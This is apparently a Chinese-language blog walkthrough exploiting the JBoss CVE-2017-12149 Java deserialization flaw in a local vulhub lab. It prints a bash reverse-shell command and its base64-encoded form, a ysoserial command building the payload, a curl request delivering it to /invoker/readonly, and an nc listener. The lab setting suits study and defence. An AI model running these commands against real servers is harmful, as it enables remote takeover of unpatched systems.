Jboss CVE-2017-12149反序列化漏洞

Jboss CVE-2017-12149反序列化漏洞



漏洞描述

该漏洞为 Java反序列化错误类型,存在于 JbossHttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。


实验环境

主机 角色 IP
centos8 漏洞靶机 192.168.1.80
windows10 攻击机 192.168.1.120

实验流程

启动漏洞环境centos8

service docker start
cd /usr/sbin/vulhub/jboss/CVE-2017-12149
docker-compose build
docker-compose up -d

尝试访问漏洞页面:

Jboss CVE-2017-12149反序列化漏洞

环境搭建成功!

bash -i >& /dev/tcp/192.168.1.125/8888 0>&1

编码后(在线编码):

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

序列化数据生成:

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

Jboss CVE-2017-12149反序列化漏洞

如图所示:成功生成poc.ser文件!

Jboss CVE-2017-12149反序列化漏洞

看一下文件内容,是生成的java代码:

Jboss CVE-2017-12149反序列化漏洞

在windows上开启一个端口监听:

Jboss CVE-2017-12149反序列化漏洞

用curl命令,将poc.ser以post请求的方式发送到/invoker/readonly。

curl http://192.168.1.80:8080/invoker/readonly --data--binary @poc.ser
Jboss CVE-2017-12149反序列化漏洞

如图所示,成功反弹shell:

nc -lvp 8888
Jboss CVE-2017-12149反序列化漏洞

使用自动化工具:工具地址

上一篇:java hibernate错误org/dom4j/DocumentException、org/jboss/logging/BasicLogger、org/apache/lucene/index...


下一篇:linux下jboss安装使用